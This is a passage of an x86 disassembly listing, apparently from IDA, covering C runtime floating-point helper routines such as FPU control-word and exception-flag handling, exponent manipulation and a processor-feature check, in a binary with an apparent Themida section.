inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,char,int,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_60 = dword ptr -60h var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 00421090 SIZE 0000001C BYTES push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] sub_421014 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; int __fastcall sub_42106B(int) sub_42106B proc near ; DATA XREF: Themida_:005602CAo var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 fld qword ptr [ebp+18h] push ecx push ecx ; double fstp [esp+8+var_8] push ecx ; int push ecx ; int fldz fstp [esp+10h+var_10] fld qword ptr [ebp+10h] push ecx ; int push ecx ; int fstp [esp+18h+var_18] push dword ptr [ebp+0Ch] ; int push eax ; int call sub_421576 add esp, 24h leave retn sub_42106B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_421014 loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+60h+var_60], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn ; END OF FUNCTION CHUNK FOR sub_421014 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 267039Dh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_42106B+1Bp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 26A0574h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26C0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: 